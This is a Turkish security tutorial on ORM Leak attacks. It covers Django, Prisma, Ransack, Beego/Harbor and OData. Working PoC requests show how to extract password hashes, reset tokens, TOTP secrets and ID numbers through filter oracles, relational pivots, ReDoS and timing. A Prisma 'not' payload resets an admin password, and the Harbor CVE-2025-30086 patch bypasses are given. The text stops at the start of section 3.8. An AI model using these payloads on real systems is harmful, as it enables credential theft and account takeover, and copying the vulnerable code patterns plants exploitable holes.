ORM Leak Saldırı Teknikleri
Yazar: Alperen Keskin
ORM Leak zafiyetinde Boolean oracle, ilişkisel sorgular, zaman tabanlı veri çıkarımı ve doğrulama atlatma teknikleri
Web uygulamaları veritabanı sorgularını çoğunlukla ORM'ler ve arama/filtreleme kütüphaneleri üzerinden oluşturur. Parametreli sorgular, kullanıcı girdisinin SQL değerleri olarak işlenmesini sağlayarak klasik SQL Injection riskini azaltır. Ancak hangi alanların, operatörlerin ve ilişkilerin sorgulanabileceği ayrıca sınırlandırılmalıdır. Bu kontrol eksikse ORM Leak olarak ele alınan veri sızıntıları ortaya çıkabilir. Etki, erişilebilen veriye yanıt farkının güvenilirliğine ve saldırganın yetkilerine bağlıdır.
1. ORM Leak Nedir?
ORM Leak, kullanıcıdan alınan filtreleme veya arama parametrelerinin doğrulanmadan doğrudan ORM sorgu metodlarına (filter(), where, $filter) aktarılması sonucu oluşan bir zafiyet sınıfıdır.
Saldırgan SQL sözdizimini bozmak yerine ORM'in filtreleme özelliklerini kullanır. Parametreli sorgular girdilerin SQL değerleri olarak güvenli işlenmesine yardımcı olur, ancak SQL Injection'a karşı tek başına mutlak koruma sağlamaz; ham SQL çağrıları ve kullanıcı kontrollü sütun ya da sıralama ifadeleri ayrıca değerlendirilmelidir. ORM Leak'te startswith, contains, regex, gt ve lt gibi operatörler ile ilişkiler üzerinden geçiş, gizli alanlar hakkında çıkarım yapmak için bir oracle (doğrulama mekanizması) gibi kullanılabilir. Bazı durumlarda ise hiçbir tahmine gerek kalmadan bir alanın varlığı tek istekte doğrulanabilir veya değeri doğrudan yanıtta görünür hale gelebilir.
Standart bir API filtreleme isteği şu şekildedir:
GET /api/articles?title__contains=Burp HTTP/1.1
Host: target.com
Uygulama arka planda bu parametreyi doğrudan ORM'e iletiyorsa saldırgan title__contains anahtarını manipüle edebilir. Normalde API yanıtında dönmeyen gizli sütunları veya ilişkili diğer tabloları bu şekilde sorgulayabilir.
2. Zafiyetin Oluşum Şartları ve Mimari Yapı
Bir uç noktanın (endpoint) ORM Leak zafiyetine sahip olması ve istismar edilebilmesi için yaygın olarak şu koşulların bir araya gelmesi gerekir. Bunlar kesin bir gereklilik listesi değildir, sahada en sık görülen istismar koşullarıdır:
- Alan (Field) Kontrolü: Saldırgan filtreleme yapılacak model özelliğini veya sütun adını kontrol edebilmelidir. İstisna: uygulama hassas alanları kendiliğinden genel bir arama fonksiyonuna dahil ediyorsa (bkz. 3.8, Directus örneği), saldırgan alan adını doğrudan seçemese bile sızıntı oluşabilir.
- Operatör Kontrolü: ORM yapısı, değerin tamamını bilmeden bir kısmını eşleştiren operatörleri (
startswith,icontains,regex,gt,lt) desteklemeli ve saldırganın bunları kullanmasına izin vermelidir. - Hassas Veri Varlığı: Sorgulanan modelde veya bu modelle ilişkili (joined) diğer modellerde gizli kalması gereken bir alan bulunmalıdır. Hassas alanlar parola hash'i, salt, parola sıfırlama token'ı, API anahtarı veya TOTP sırrı olabilir. Aynı mekanizma, filtrelenebilen diğer kişisel, finansal ve ticari alanlar hakkında da bilgi sızdırabilir.
- Oracle (Yanıt Farkı): Filtre koşulu sağlandığında (True) ve sağlanmadığında (False) uygulamanın döndüğü yanıt (HTTP durum kodu, JSON dizisinin uzunluğu,
pagination.totalgibi meta alanlar veya yanıt süresi) ayırt edilebilir olmalıdır.
2.1 Filtreleme Parametreleri (Filter Expressions)
Farklı programlama dilleri ve ORM kütüphaneleri, dinamik filtreleme için farklı veri yapıları kullanır.
Django ORM – Çift Alt Çizgi (__) Sözdizimi
Kullanıcıdan alınan query string sözlüğe (dictionary) çevrilip **kwargs (keyword unpacking) ile doğrudan filter() fonksiyonuna verildiğinde zafiyet oluşur:
# Zafiyetli Kullanım: Kullanıcı tüm filtre anahtarlarını kontrol edebilir
def list_articles(request):
filters = request.GET.dict()
articles = Article.objects.filter(**filters)
return JsonResponse({"results": list(articles.values("id", "title"))})
Beego (Go) ORM'i de aynı __ sözdizimini kullanır, ancak filtre ifadelerini ayrıştırma davranışı Django'dan farklıdır; bu fark, Harbor'ın yama atlatma zincirinin (bkz. 3.7) tam olarak nedenidir.
Prisma (Node.js / TypeScript) – İç İçe JSON Objeleri
Express.js veya Next.js uygulamalarında req.body veya qs kütüphanesiyle ayrıştırılan req.query doğrudan where objesine aktarıldığında zafiyet tetiklenir:
// Zafiyetli Kullanım: JSON gövdesi doğrudan Prisma where koşuluna aktarılıyor
app.post('/api/articles/search', async (req, res) => {
const articles = await prisma.article.findMany({
where: req.body.filter,
select: { id: true, title: true } // password seçilmese bile where içinde sorgulanabilir!
});
res.json(articles);
});
Daha tehlikeli bir kullanım şekli, geliştiricinin where yerine Prisma sorgu objesinin tamamını (select/include dahil) kullanıcıya açmasıdır:
// Çok daha tehlikeli: tüm Prisma sorgu objesi kullanıcının elinde
app.post('/articles/verybad', async (req, res) => {
const posts = await prisma.article.findMany(req.body.filter);
res.json(posts);
});
Bu durumda saldırganın karakter karakter oracle kurmasına bile gerek kalmaz. Kod req.body.filter değerini kullandığı için saldırgan {"filter": {"include": {"createdBy": true}}} gönderebilir ve ilişkili User kaydının, modelin döndürülmesine izin verdiği alanlarını API yanıtında görebilir. Bu genellikle parolanın kendisi değil, parola hash'idir.
Ransack (Ruby on Rails) – _cont / _start / _gt Ekleri
Rails uygulamalarında yaygın kullanılan Ransack arama kütüphanesi, params[:q] sözlüğü doğrudan ransack() metoduna aktarılıyorsa, istemcinin kütüphanenin kabul ettiği alan ve matcher'ları seçmesine izin verir. İstismar edilebilir alanlar, ilişki yolları ve matcher'lar sürüme ve yapılandırmaya bağlıdır:
# Zafiyetli Kullanım
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
GET /posts?q[user_reset_password_token_start]=0 HTTP/1.1
Host: target.com
Ransack < 4.0.0'ın önerilen varsayılan davranışı ile v4.0.0 sonrasının zorunlu allow-list yaklaşımı aynı şey değildir.
2.2 Operatör Manipülasyonu ve SQL Karşılıkları
ORM kütüphaneleri, geliştiricinin yazdığı filtre ifadelerini arka planda aşağıdaki temsili SQL sorgularına dönüştürür. Birebir karşılık ORM/veritabanı kombinasyonuna göre değişebilir; özellikle regex operatörünün case-sensitivity davranışı veritabanı motoruna ve collation'a bağlıdır (bkz. 5.4):
| ORM Filtre İfadesi (Django / Prisma) | Olası SQL Karşılığı (temsili) | Olası Test Amacı |
|---|---|---|
password__startswith="a" / { startsWith: "a" } | WHERE password LIKE 'a%' | Karakterleri baştan sona doğru sırayla bulmak |
password__contains="x" / { contains: "x" } | WHERE password LIKE '%x%' | Hedef değerin belirli bir karakteri veya alt diziyi içerip içermediğini sınamak |
password__regex="^a" | WHERE password REGEXP '^a' | Değerin belirli bir desenle eşleşip eşleşmediğini sınamak; büyük/küçük harf davranışı veritabanı ve collation ayarlarına bağlıdır |
TfaSecret ge 'M' (OData) | WHERE TfaSecret >= 'M' | Hedef kaydı sabitleyerek ilk karakter için matematiksel olarak kanıtlanabilir bir oracle kurmak (bkz. 3.5; tam değere genişletilebilir, ancak adım adım gösterilmemiştir) |
3. Saldırı Teknikleri

ORM filtreleri farklı şekillerde istismar edilebilir: yanıt farklarından veri çıkarımı, ilişkiler üzerinden hassas alanlara erişim, hata veya yanıt süresi üzerinden çıkarım, sorgu doğrulamasını atlatma. Kullanılabilecek teknik, filtreleme uç noktasının kabul ettiği girdilere ve ürettiği sorguya bağlıdır.
3.1 Basit Alan Filtreleme (Boolean-Based Filter Oracle)
Amaç: Kullanıcı arama uç noktasında, API yanıtında (select / values kısıtlaması nedeniyle) gösterilmeyen password veya api_key sütununu karakter karakter sızdırmak.
Normal İstek:
GET /api/users?username__startswith=admin HTTP/1.1
Host: target.com
Yanıt (200 OK):
[{"id": 1, "username": "admin"}]
Tespit: İki adım gerekir. Önce bilinen-doğru (username=admin) ve bilinen-yanlış (username=olmayan_bir_kullanici) koşullar aynı yapıyla gönderilir. Yanıtlar farklıysa (dolu/boş dizi), bu fark username filtresinin uygulama tarafından gerçekten değerlendirildiğine işaret eder. Bu, password__startswith'in de kabul edildiğini kanıtlamaz; o da ayrıca kesin yanlış bir değerle (boş dönmeli) ve boş bir değerle (dolu dönmeli) test edilmelidir.
Saldırı PoC: Saldırgan username filtresini korurken yanına password__startswith parametresini ekler. İki filtre aynı sorguda AND koşulları olarak birleştiriliyorsa, username=admin koşulu hedef kaydı sabitlerken password__startswith tahminin doğruluğunu sınar. Filtrelerin gerçekten bu şekilde birleştirildiği, yukarıdaki Tespit adımındaki bilinen-doğru/bilinen-yanlış karşılaştırmasıyla önceden doğrulanmalıdır. Örneğin $2b$12$ biçimindeki bir bcrypt hash'inde algoritma ve maliyet bilgisi önekte yer alır; gerçek kayıtların kullandığı hash algoritması, sürümü ve parametreleri hedefte ayrıca doğrulanmalıdır:
GET /api/users?username=admin&password__startswith=$2b$12$a HTTP/1.1
Host: target.com
- Yanıt
[{"id": 1, "username": "admin"}]dönerse (True), admin kullanıcısının parola hash'i$2b$12$aile başlıyor demektir. - Yanıt
[](boş dizi) dönerse (False), bu genellikle yanlış karakter tahmini anlamına gelir. Ancak bu yorum yalnızca yukarıdaki Tespit adımı önceden tamamlanmışsa güvenilirdir.
Aynı mekanizma kimlik doğrulama dışı alanlarda da çalışır. Örneğin bir CRM veya sağlık uygulamasında patients modelinin yanıtta hiç gösterilmeyen tc_kimlik_no alanı, aynı boolean oracle mantığıyla sızdırılabilir:
GET /api/patients?name__contains=Ahmet&tc_kimlik_no__startswith=123 HTTP/1.1
Host: target.com
Hedef alan değişir, teknik aynı kalır: karakter karakter oracle çıkarımı.
3.2 İlişkisel Filtreleme (Relational Pivot)

Filtreleme uç noktası, yalnızca herkese açık bir modeli (örneğin Article) döndürse bile, ORM'lerin ilişkisel (ForeignKey, OneToOne, ManyToMany) sorgulama yeteneği bu modelin ilişkileri üzerinden başka tablolardaki (örneğin User) alanlara erişime (pivot) olanak tanır.
Mantık (temsili model ilişkileri, gerçek alan ve ters-ilişki adları projeye göre değişir):
Articlemodelicreated_byalanı üzerindenEmployeemodeline bağlıdır.Employeemodelidepartmentalanı üzerindenDepartmentmodeline bağlıdır.Departmentmodelindenemployeesters ilişkisi aracılığıyla yeniden ilişkiliEmployeekayıtlarına geçilebilir. Bu adım, ilişkinin modelde nasıl tanımlandığına ve ters ilişki adlandırmasına bağlıdır.- Bu
Employeekaydı üzerindenuseralanıylaUsermodeline, ardındanpasswordalanına ulaşılabilir.
Sorgu yolu böylece Article → Employee → Department → Employee → User.password şeklinde ilerler.
Önemli sınır: Bu yol temsili bir model şemasına dayanır. Gerçek bir uygulamada ilişki tanımları, ters ilişki adları ve ilişkinin tekil mi çoğul mu olduğu doğrulanmadan ifadenin birebir çalışacağı varsayılmamalıdır. Bu sorgu yolunun kabul edilmesi, parola hash'inin doğrudan API yanıtında döndüğü veya tüm değerinin başarıyla sızdırıldığı anlamına da gelmez.
Tespit: Kapalı kaynaklı bir hedefte ilişki yollarının var olup olmadığı test edilerek anlaşılır. Güvenilir sinyal, sonucun değişip değişmediği değil, hata/hatasız yanıt farkıdır. Django/Beego gibi katı ORM'lerde var olmayan bir alan/ilişki adı FieldError veya 500 hatası fırlatır; var olan bir yol ise eşleşen kayıt olmasa bile hatasız, boş bir sonuçla döner. Örneğin department__employees__id=999999 hatasız çalışıp boş dönüyorsa ilişki vardır (999999 kimlikli bir employee olmaması ayrı bir konudur). Ransack gibi esnek ORM'lerde ise var olmayan bir ilişki zinciri sessizce yok sayılır, hata vermez; bu durumda tek yol bilinen-geçerli bir ilişkiyle karşılaştırmaktır.
Saldırı PoC (Django / Beego):
GET /api/articles?created_by__department__employees__user__password__startswith=pbkdf2_sha256$260000$ HTTP/1.1
Host: target.com
Saldırı PoC (Prisma JSON Body):
POST /api/articles/search HTTP/1.1
Host: target.com
Content-Type: application/json
{
"filter": {
"author": {
"user": {
"resetToken": {
"startsWith": "eyJhbG"
}
}
}
}
}
Filtre eşleşirse → ilişki zincirinin ucundaki kayıt (örn. bir kullanıcının resetToken'ı) için bir oracle elde edilir. Tam değerin çıkarılması, 3.1'deki gibi ayrı bir karakter karakter tarama gerektirir.
Allow-list korumalarının ilişkiye geri dönerek (loop back) atlatılması: Geliştirici Article.objects.filter(is_secret=False, **request.data) gibi bir koruma eklese bile, saldırgan ilişkiyi döngüsel biçimde geri Article tablosuna bağlayarak bu korumayı atlatabilir:
# Koruma: is_secret=False şartı var gibi görünür
Article.objects.filter(is_secret=False, categories__articles__id=2)
Burada is_secret=False koşulu JOIN edilen, gizli olmayan bir makale kaydına uygulanırken categories__articles__id=2 ile hedeflenen gizli makalenin varlığı (örn. belirli bir kategoriye ait olup olmadığı) sızdırılabilir. Bunun doğrudan bir parola/token alanının karakter karakter çıkarılmasına genişletilebilmesi için, hangi model/alan üzerinde koruma uygulandığı ve hangi hassas alanın hangi yanıt farkıyla okunduğu ayrıca gösterilmelidir.
Django Group/Permission many-to-many ilişkileri üzerinden yayılma: Django'nun AbstractUser modelindeki groups ve user_permissions many-to-many ilişkileri, bir kullanıcıdan aynı gruptaki veya aynı izne sahip diğer kullanıcılara geçiş yolu sağlayabilir:
created_by__user__groups__user__password # Aynı gruptaki kullanıcılar üzerinden
created_by__user__user_permissions__user__password # Aynı izne sahip kullanıcılar üzerinden
groups,user_permissionsgibi alan ve ters-ilişki adları da projeye özgüdür (bkz. yukarıdaki "Önemli sınır" notu). Ek olarak, ilişkinin tekil mi (ForeignKey/OneToOne) yoksa çoğul mu (ManyToMany/ters-FK) olduğu kullanılan ORM'in sözdizimini etkileyebilir; Prisma'da da ilişkili alanın tek kayıt mı liste mi temsil ettiği sorgu nesnesinin şeklini değiştirir. Bu, Admin paneli veya API introspection ile doğrulanmalıdır.
3.3 Error-Based (ReDoS): MySQL'e Özgü Bir Teknik
Amaç: Sunucunun hem doğru hem de yanlış tahminlerde aynı HTTP yanıtını döndüğü (örneğin sadece işlem başarılı mesajı verdiği) ancak veritabanı hatalarında 500 Internal Server Error döndüğü durumlarda hata tabanlı veri sızdırmak.
Bu bölümdeki
regexp_time_limittemelli yöntem yalnızca MySQL'e özgüdür. Bu ayar doğrudan bir milisaniye değeri değildir, regex motorunun atabileceği adım sayısını sınırlar (varsayılan 32 adım); dolaylı olarak milisaniye mertebesinde bir süreye karşılık gelir ama "32ms" olarak okunmamalıdır. SQLite varsayılan olarakregexpoperatörü sunmaz, PostgreSQL'de varsayılan bir adım/zaman sınırı yoktur, MariaDB'de ise böyle bir sınır bulunmaz; teknik bu veritabanlarında aynı şekilde çalışmaz. Veritabanı hatasının uygulama tarafından gerçekten HTTP 500'e çevrildiği de ayrıca doğrulanmalıdır.
Tespit: Önce hedefin MySQL kullandığı doğrulanır (hata mesajları, sürüm bannerı veya davranışsal fingerprinting ile). Ardından zararsız, hızlı sonuçlanan bir regex (.*) ile kasıtlı olarak pahalı, catastrophic backtracking'e yol açacak bir regex aynı alana sırayla gönderilip yanıt süreleri/hata davranışları karşılaştırılır. Tek bir gecikme veya 500 hatası tek başına kanıt değildir. Bunun bilinen-doğru/bilinen-yanlış önek koşuluyla tutarlı biçimde değiştiği birkaç farklı denemeyle doğrulanmalıdır; aksi halde gözlemlenen fark ağ gürültüsü veya alakasız bir hata olabilir.
Mantık: Regex motoruna, doğru tahmin durumunda catastrophic backtracking'e yol açacak, asla eşleşmeyecek bir desen eklenir (.* zincirinin ardından hiçbir zaman karşılığı bulunamayacak bir sabit dize). $ burada regex'te satır sonu ankrajı anlamına geldiğinden, hash içinde gerçekten geçen $ karakterlerinin escape edilmesi gerekir (\$); aksi halde lookahead hiçbir zaman sağlanmaz.
Django'nun PBKDF2 hash formatı pbkdf2_sha256$<iterasyon_sayısı>$<salt>$<hash> şeklindedir (örn. pbkdf2_sha256$600000$5LjfzfBwQAVI$sbEcyHm7a27G...). İterasyon sayısı tipik olarak uygulama genelinde sabittir, tahmin edilmesi gereken gizli bir değer değildir. Bu yüzden lookahead'in hedeflediği önek iterasyon sayısını da içerecek şekilde kurulmalı, sızdırılmaya çalışılan asıl kısım salt/hash bölümü olmalıdır:
GET /api/articles?created_by__user__password__regex=^(?=^pbkdf2_sha256\$600000\$a).*.*.*.*.*.*.*.*!!!!$ HTTP/1.1
Host: target.com
- Değer
pbkdf2_sha256$600000$aile başlamıyorsa(?=^...)lookahead koşulu hemen başarısız olur, regex motoru kısa sürede sonuçlanır. Hızlı yanıt. - Değer bu önekle başlıyorsa lookahead geçer, motor
.*.*.*.*.*.*.*.*!!!!$kısmını adım sınırına çarpana kadar dener. Hata veya ölçülebilir gecikme oluşur (bkz. yukarıdaki HTTP 500 notu).
3.4 Prisma'da Tip Doğrulama Eksikliğiyle Reset Token Kontrolünü Atlatma
Amaç: Parola sıfırlama (reset-password) veya API anahtarı doğrulama uç noktalarında geçerli token değerini hiç bilmeden doğrudan doğrulamayı atlatmak.
Zafiyetli Backend (Node.js / Express + Prisma):
app.post('/api/reset-password', async (req, res) => {
const { resetToken, newPassword } = req.body;
// HATA: resetToken parametresinin string olup olmadığı kontrol edilmiyor!
const user = await prisma.user.findFirst({
where: {
resetToken: resetToken
}
});
if (!user) return res.status(400).json({ error: "Geçersiz token" });
await updatePassword(user.id, newPassword);
return res.json({ message: "Parola başarıyla güncellendi" });
});
Tespit: Aynı parametre önce düz bir string, sonra bir operatör içeren JSON objesi olarak ({"not": "rastgele_bir_deger"} gibi) gönderilir. İki istek arasında HTTP durum kodu, hata mesajı veya genel davranışta bir fark varsa (örn. string gönderildiğinde her zaman "Geçersiz token" hatası dönerken, obje gönderildiğinde farklı bir sonuç oluşuyorsa), bu girdinin doğrudan bir sorgu operatörüne dönüştüğünün işaretidir; klasik NoSQL/operatör enjeksiyonu tespitinin ORM Leak'e uyarlanmış hâlidir.
Saldırı PoC: NoSQL Injection saldırılarındaki {"$ne": null} mantığına benzer şekilde, Prisma ORM de not operatörünü destekler. Saldırgan resetToken değerini string yerine bir JSON objesi olarak gönderir. En doğrudan yol JSON body'dir. resetToken[not]=E (uzantılı query/body parser'ı etkinse) veya Cookie: resetToken=j:{"not":"X"} (JSON-cookie ayrıştıran bir cookie-parser kullanılıyorsa) gibi alternatifler ise yalnızca ilgili parser yapılandırması etkinleştirilmişse çalışır; bunlar evrensel olarak garanti edilen vektörler değildir:
POST /api/reset-password HTTP/1.1
Host: target.com
Content-Type: application/json
{
"resetToken": {
"not": "olmayan_rastgele_bir_deger"
},
"newPassword": "PwnedPassword123!"
}
Dikkat Edilmesi Gereken Noktalar:
- Veritabanında parola sıfırlama talebinde bulunmamış kullanıcıların
resetTokensütunu NULL değerindedir. SQL standartlarındaNULL != 'deger'karşılaştırması True dönmez, UNKNOWN döner. Bu nedenle saldırgan önce hedef admin hesabı için/forgot-passworduç noktasına istek atarak veritabanında dolu birresetTokenoluşmasını sağlar, hemen ardından yukarıdaki{"not": "..."}yükünü gönderir. findFirst()eşleşen ilk kaydı döndürür. O andaresetToken'ı NULL olmayan başka kullanıcılar varsa dönen kayıt hedeflenen admin olmayabilir. Güvenilir bir sonuç için hedeflenen kullanıcının tek (veya ilk) eşleşen kayıt olduğu test ortamında doğrulanmalıdır.
Bu koşulların tümü (hedef kullanıcının resetToken alanı NULL değil, eşleşen tek/ilk kayıt hedeflenen kullanıcı, updatePassword() çağrısı aynı kayda uygulanıyor) sağlanırsa, bu tek istek hesap ele geçirmeye (Account Takeover) yol açar.
3.5 Karşılaştırma Operatörleriyle (gt / lt / ge) Oracle Oluşturma
Amaç: startswith, contains ve regex gibi metin eşleştirme operatörlerinin engellendiği durumlarda büyüktür/küçüktür operatörleriyle bir oracle kurmak.
Bu teknik, startswith/contains/regex tabanlı klasik Django ORM Leak tekniklerinden farklıdır: oradaki örnekler lineer karakter taramasına dayanır.
gt/lt/geoperatörleri özellikle OData/.NET Entity Framework API'lerinde belgelenmiştir (bkz. 3.8).
Tespit: Hedef kayıt bir eşitlik filtresiyle (Id eq 42) sabitlenir. Ardından aynı kayda sözlüksel olarak uç iki karşılaştırma gönderilir (örn. ge 'A' ve ge 'z'). Biri sonuç döndürüp diğeri döndürmüyorsa, karşılaştırma operatörünün gerçekten değerlendirildiği doğrulanmış olur; ikisi de aynı sonucu veriyorsa operatör muhtemelen yok sayılıyordur. Bu uç değerlerin gerçekten ayırt edici olması hedef veritabanının collation'ına bağlıdır (bkz. 5.4); farklı bir sıralama kuralında farklı uç değerler gerekebilir.
Aşağıdaki örnek bu mantığı ve sınırını birlikte gösterir:
GET /odata/Users?$filter=Id eq 42 and TfaSecret ge 'M'&$top=1 HTTP/1.1
Host: target.com
$top=1 tek başına hedef kaydı sabitlemez, yalnızca dönen satır sayısını sınırlar. Sorguda birden fazla kullanıcı eşleşiyorsa dönen satır hedeflenen kullanıcıya ait olmayabilir. Bu yüzden karşılaştırma koşuluna, hedef kaydı sabitleyen bir eşitlik filtresi (yukarıdaki Id eq 42 gibi) eklenmesi şarttır. Bu şekilde sabitlenmiş bir kayıt üzerinde, doğrulanmış bir sözlüksel sıralama altında tek karşılaştırma yalnızca ilk karakter için güvenilir bir oracle sağlar: TfaSecret ge 'M' doğruysa değerin ilk karakteri M veya sonrasıdır. Veritabanının sözlüksel sıralama davranışı (collation) hedefte ayrıca doğrulanmalıdır (bkz. 5.4).
Ancak bir sonraki karaktere geçmek için saf gt/lt ile önek uzatmak (TfaSecret ge 'sm') yanıltıcıdır. Bu koşul, ilk karakteri s olup ikinci karakteri m'den büyük olan değerleri değil, baştan itibaren sözlüksel olarak 'sm''den büyük olan her değeri (örn. t... ile başlayan bir değeri de) sağlar. İlk karakterin gerçekten s olduğu ayrıca bir eşitlik/aralık koşuluyla (ge 's' AND lt 't') sabitlenmeden, ikinci karakteri bu şekilde çıkarmak güvenilir değildir. Klasik blind-SQLi binary search'te bu sorun genellikle SUBSTRING(value, N, 1) gibi tek karakteri ayıran bir fonksiyonla çözülür; ORM'in gt/lt operatörü tek başına bunu sağlamaz.
Yukarıdaki örnek, hedef kaydı sabitleyip tek bir karşılaştırmayla ilk karakter için kanıtlanabilir en basit oracle'ı gösterir. Aynı teknik, OData/Entity Framework üzerinde collation sıralamasına dayanarak bir alanın tam değerini sızdırmak için de kullanılabilir (bkz. 3.8): tek karaktere sınırlı değildir, binary search ile tüm değere genişler. Gereken istek sayısı hedef veritabanının collation'ına ve ağ gecikmesine bağlıdır.
3.6 Time-Based (Zaman Tabanlı) Blind ORM Leak ve plormber
Amaç: Uygulamanın her koşulda görünürde sabit yanıt döndüğü (Blind) senaryolarda, veritabanı sorgu planlayıcısının davranışından yararlanarak yanıt süresi (Response Time) üzerinden veri sızdırmak.
Prisma + PostgreSQL'de belirli bir sorgu planında şu davranış görülür: test edilen kurulumda, bir
ORfiltresinin sol koşulu True döndüğünde sağdaki pahalı koşul değerlendirilmiyordu. Bu, "SQL her zaman koşulları yazıldığı sırayla kısa devre yapar" şeklinde genellenebilir bir kural değildir, sorgu planlayıcısına, üretilen SQL'e ve veritabanı motoru/sürümüne bağlıdır. Teknik, karakter tahminini birNOTile sarmalayıp OR'un diğer koluna yüzlerce ucuz-ama-toplamda-maliyetli koşul (~1000 adetcontainsifadesi) koyarak bu davranışı tetikler.
Tespit: Tek bir ölçüm yeterli değildir. Doğru ve yanlış karakter varsayımları için tekrarlanan istekler karşılaştırılır, süre farkının istatistiksel olarak anlamlı olup olmadığı hesaplanır (bkz. 5.5). Gereken deneme sayısı sabit değildir, sinyalin büyüklüğüne ve ağ gürültüsüne bağlıdır. Mümkünse üretilen SQL'in sorgu planı (EXPLAIN ANALYZE) ile de doğrulanır, ancak bu genellikle yalnızca laboratuvar ortamında mümkündür.
Aşağıdaki JSON, uygulamanın where parametresine aktaracağı filtre nesnesinin kendisidir. Gerçek HTTP isteğinin gövdesi bu nesneyi saran bir query anahtarı ({"query": {...}}) içerebilir. Gerçek gövde şekli hedef endpoint'in beklediği şemaya bağlıdır ve ayrıca doğrulanmalıdır. OR dizisi tek düzeydir, her contains koşulu kendi başına bir dizi elemanıdır. Gerçek istekte bu dizi ~1000 elemana genişletilmelidir, aşağıda kısaltılmıştır:
{
"OR": [
{
"NOT": {
"createdBy": { "resetToken": { "startsWith": "{test_prefix}" } }
}
},
{ "body": { "contains": "77c6347cd3d811b6" } },
{ "body": { "contains": "4c1a9c8682078703" } }
]
}
Mantık:
- Karakter tahmini yanlışsa:
NOT {...}koşulu True döner, OR kısa devre yapar, ~1000'likcontainslistesi değerlendirilmez. Hızlı yanıt. - Karakter tahmini doğruysa:
NOT {...}koşulu False döner, 1000containskoşulunun tamamı değerlendirilir. Yavaş yanıt.
Yerel test ortamında ölçülen değerler: tek karakterlik fark yaklaşık 0.126ms (yanlış tahmin) / 0.348ms (doğru tahmin), yani ~0.22ms'lik bir fark. Bu, uzaktan güvenilir biçimde ayırt edilebilmek için tek istek yeterli olmayacak kadar küçüktür. İstatistiksel karşılaştırmada 1000 denemede p ≈ 1.58×10⁻⁵⁶, 100 denemede (bir dakikadan kısa sürede) p ≈ 1.35×10⁻⁶ ile anlamlı sonuçlar elde edilmiştir. Bu süreç plormber aracıyla otomatize edilebilir.
İlk altı bölüm genel sorgu manipülasyonu ve oracle mekanizmalarını ele aldı. Aşağıdaki üç bölüm, bu mekanizmaların gerçek ürünlerde nasıl ortaya çıktığını ve filtre doğrulamasındaki tasarım hatalarının nasıl istismar edilebildiğini gösteriyor.
3.7 Parser Davranışıyla İki Aşamalı Kara Liste Atlatma (Harbor CVE-2025-30086)
Harbor'da (Go / Beego ORM) CVE-2025-30086 için art arda iki yama yayınlandı, ikisi de atlatıldı: ilki filtre anahtarının yalnızca ilk bölümünü kontrol ediyordu, ikincisi ~ operatörünün anahtarı doğrulama sonrası yeniden genişletmesini engellemiyordu.
Tespit: Bu, genelleştirilebilir bir teknikten çok belirli bir CVE'nin doğrulanmasıdır: hedefin Harbor çalıştırdığı ve sürümünün 2.12.4/2.13.1'den önce olduğu ayrıca doğrulanır, ardından aşağıdaki iki bypass PoC'si sırayla denenir. Daha genel olarak, bir kara listenin yalnızca anahtarın ilk parçasına baktığından şüpheleniliyorsa, anahtara ekstra __ segmentleri veya operatöre özel önekler (~ gibi fuzzy-match işaretleri) eklenerek kontrolün atlanıp atlanmadığı test edilir.
Başlangıç Zafiyeti: Harbor'ın /api/v2.0/users?q=... uç noktası, kullanıcı girdisini doğrudan qs.Filter(key, value) metoduna veriyordu. GET /api/v2.0/users?q=password=~$argon2id$ isteğiyle parola ve salt değerleri doğrudan sızdırılabiliyordu. İstismar için Harbor'da administrator (yönetici) rolü gerekiyordu (GHSA-h27m-3qw8-3pw8); anonim bir kullanıcı doğrudan istismar edemiyordu. Başka bir ürüne aktarılırken rol adları ayrıca eşlenmelidir.
1. Yama ve Ayrıştırıcı Karışıklığı ile Bypass (Harbor v2.13.0)
Harbor geliştiricileri User modelindeki Password ve Salt alanlarına filter:"false" etiketi ekledi ve gelen filtre anahtarını __ karakterinden bölüp sadece ilk elemanı kontrol eden şu yamayı yayınladı:
// Harbor v2.13.0 Yaması
k := strings.SplitN(key, "__", 2)[0] // İlk bölümü al
mk, filterable := meta.Filterable(k)
if !filterable {
continue // Eğer password veya salt ise filtreyi reddet!
}
qs = qs.Filter(key, value)
Bypass Mantığı: Beego ORM'in filtre ifadelerini ayrıştıran parseExprs fonksiyonu, ifadeyi __ ile böldükten sonra bir döngü içinde işler. İlişkisel olmayan bir sütun adı (örneğin email), sanki ilişkisel bir alanmış gibi email__password şeklinde yazılırsa, Beego döngünün ikinci adımında email alanını ezip üzerine password yazar.
Bypass PoC:
GET /api/v2.0/users?q=email__password__startswith=a HTTP/1.1
Host: harbor.target.com
Harbor'ın güvenlik kontrolü strings.SplitN ile ilk kelimeye bakar: email (filterable = true, kontrolden geçti). Beego ORM email__password__startswith ifadesini alır, email alanını ezip sorguyu WHERE password LIKE 'a%' olarak çalıştırır.
2. Yama ve Fuzzy Match Operatörü ile Bypass (Harbor v2.13.1-rc1)
Geliştiriciler kullanıcının birden fazla __ göndermesini yasaklayan ikinci bir yama yayınladı:
// Harbor v2.13.1-rc1 Yaması
keyPieces := strings.Split(key, "__")
if len(keyPieces) > 2 {
continue // Birden fazla '__' varsa engelle!
}
Bypass Mantığı: Saldırgan artık email__password__startswith gönderemiyordu. Ancak Harbor'ın kendi sorgu oluşturucu kodunda (setFilters), kullanıcı değerin başına ~ (fuzzy match) işareti koyarsa, Harbor güvenlik kontrolünden sonra anahtarın sonuna kendi eliyle +"__icontains" ekliyordu:
// Güvenlik kontrolünden hemen sonra çalışan Harbor kodu:
if f, ok := value.(*q.FuzzyMatchValue); ok {
qs = qs.Filter(key + "__icontains", Escape(f.Value))
}
Bypass PoC:
GET /api/v2.0/users?q=email__password=~a HTTP/1.1
Host: harbor.target.com
Girdideki key değeri email__password olduğu için sadece tek bir __ içerir, 2. yamayı geçti. İlk kelime email olduğu için 1. yamayı da geçti. Değer ~a olduğu için Harbor kodun sonuna __icontains ekledi ve Beego ORM'e email__password__icontains ifadesini göndererek zafiyeti kendi eliyle yeniden tetikledi.
Son Çözüm: Resmî düzeltme sürümleri 2.12.4 (2.12.x) ve 2.13.1 (2.13.x)'tir (CVE-2025-30086). Alan + operatör kombinasyonunun birlikte doğrulandığı daha kapsamlı bir allow-list modeli ise v2.14.0'daki koda dahil edildi; bu, CVE'nin resmî düzeltmesinden ayrı bir adımdır.

3.8 Filtreleme Oracle'ları: OData/Entity Framework ve Directus
ORM Leak yalnızca Django veya Prisma'ya özgü değildir. Microsoft ekosisteminde (.NET Core / Entity Framework) sıkça kullanılan OData (Open Data Protocol) API'leri, $filter parametresi üzerinden aynı zafiyete yol açar.
